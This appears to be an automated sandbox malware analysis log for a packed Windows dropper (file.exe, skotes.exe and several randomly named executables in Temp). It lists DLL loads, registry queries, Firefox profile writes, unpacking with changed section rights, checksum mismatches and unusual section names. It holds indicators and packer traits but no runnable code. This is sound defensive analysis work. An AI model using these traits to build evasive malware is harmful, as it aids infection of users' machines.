Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1888256 > 1048576

Source: file.exe

Static PE information: Raw size of shrhbpjb is bigger than: 0x100000 < 0x19b200

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.e20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;shrhbpjb:EW;wqpnrtad:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;shrhbpjb:EW;wqpnrtad:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;shrhbpjb:EW;wqpnrtad:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;shrhbpjb:EW;wqpnrtad:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;shrhbpjb:EW;wqpnrtad:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;shrhbpjb:EW;wqpnrtad:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Unpacked PE file: 8.2.0db0ccc3ed.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hyifqwux:EW;kzjybfum:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hyifqwux:EW;kzjybfum:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Unpacked PE file: 9.2.e01d8601b1.exe.9c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yqttidiy:EW;gxgxfcij:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yqttidiy:EW;gxgxfcij:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Unpacked PE file: 13.2.0db0ccc3ed.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hyifqwux:EW;kzjybfum:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hyifqwux:EW;kzjybfum:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Unpacked PE file: 30.2.e01d8601b1.exe.9c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yqttidiy:EW;gxgxfcij:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yqttidiy:EW;gxgxfcij:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Unpacked PE file: 31.2.74f23764ea.exe.d0000.0.unpack :EW;.rsrc:W;.idata :W;mjddytxu:EW;vefxxbiz:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Unpacked PE file: 39.2.74f23764ea.exe.d0000.0.unpack :EW;.rsrc:W;.idata :W;mjddytxu:EW;vefxxbiz:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Unpacked PE file: 52.2.e01d8601b1.exe.9c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yqttidiy:EW;gxgxfcij:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yqttidiy:EW;gxgxfcij:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F342DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

10_2_00F342DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x4339b0 should be: 0x439895
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1b6298 should be: 0x1aebf4
Source: e01d8601b1.exe.6.dr	Static PE information: real checksum: 0x1b6298 should be: 0x1aebf4
Source: 0db0ccc3ed.exe.6.dr	Static PE information: real checksum: 0x1ca861 should be: 0x1c2b90
Source: file.exe	Static PE information: real checksum: 0x1d9493 should be: 0x1db611
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d9493 should be: 0x1db611
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1ca861 should be: 0x1c2b90
Source: 74f23764ea.exe.6.dr	Static PE information: real checksum: 0x29bd05 should be: 0x2a2d31
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x29bd05 should be: 0x2a2d31

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: shrhbpjb
Source: file.exe	Static PE information: section name: wqpnrtad
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: shrhbpjb
Source: skotes.exe.0.dr	Static PE information: section name: wqpnrtad
